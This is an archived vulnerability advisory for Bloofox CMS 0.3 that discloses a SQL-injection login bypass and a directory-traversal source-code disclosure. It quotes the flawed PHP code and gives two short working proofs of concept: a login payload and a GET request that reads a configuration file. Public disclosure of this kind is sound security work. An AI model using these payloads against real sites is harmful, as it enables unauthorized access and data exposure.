TUCoPS :: Web :: CMS / Portals :: bx1541.htm

Bloofox CMS SQL Injection (Authentication bypass) , Source code disclosure
Bloofox CMS SQL Injection (Authentication bypass) , Source code disclosure
Bloofox CMS SQL Injection (Authentication bypass) , Source code disclosure



########################## WwW.BugReport.ir ######################### 
#
#      AmnPardaz Security Research Team
#
# Title:Bloofox CMS Vulnerabilities
# Vendor: http://www.bloofox.com 
# Bugs: SQL Injection (Authentication bypass) , Source code disclosure
# Vulnerable Version: 0.3 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix Available: No!
################################################################


####################
- Description:
####################

BloofoxCMS is a free open source content management system (CMS).


####################
- Vulnerability:
####################

+-->SQL Injection (authentication bypass)

Code Snippet:
index.php Line#107-116

if(isset($_POST['login']) || $_GET['login'] == "true") {
=09if($perm->login($db,$_POST['username'],$_POST['password']) == 1) {
=09=09$login_ok = 1;
=09=09if($_GET['login'] == "true") {
=09=09=09load_url("index.php");
=09=09}
=09} else {
=09=09$login_failed = 1;
=09}
}

system/class_permissions.php Line#63-68
=09function login($db,$user,$pass)
=09{
=09=09global $tbl_prefix;
=09=09$pass = md5($pass);
=09=09$db->query("SELECT uid,username,password,groups FROM  
".$tbl_prefix."sys_user WHERE username = '".$user."' && password =  
'".$pass."' && blocked = '0' && deleted = '0' && status = '1' ORDER BY  
username");
=09=09$total = $db->num_rows();
=09=09.
=09=09.
=09=09.


There is no input validation here therefore its possible for a remote  
attacker to bypass login mechanism when magic quotes is disabled!

POC :
Username: admin' or 1=1 /*
Password: something

+--> Source code disclosure

Code Snippet:
file.php Line#25-49

$file = $_GET['file'];

// Block external linkings
$HTTP_REFERER = $_SERVER['HTTP_REFERER'];
if(strpos($HTTP_REFERER,$_SERVER['SERVER_NAME']) == 0) {
=09die("Forget It!");
}

$basedir = getcwd()."/media/files";

// create file name
$filename = sprintf("%s/%s", $basedir, $file);

// check file on server
if(!file_exists($filename)) {
=09die("File not found!");
}

header("Content-Type: application/octet-stream");

$save_as_name = basename($file);
header("Content-Disposition: attachment; filename=\"".$save_as_name."\"");

// output
readfile($filename);

Input passed to the "file" parameter is not properly sanitised before  
being used.
This can be exploited to display arbitrary files through directory  
traversal attacks or by passing full paths.

POC:
GET:  
http://servername/bloofoxCMS_0.3/file.php?file=../../system/class_mysql.php 
Referer: http://servername/ 

####################
- Credit :
####################
Original advisory: http://bugreport.ir/?/27 
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir 
WwW.AmnPardaz.com 


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH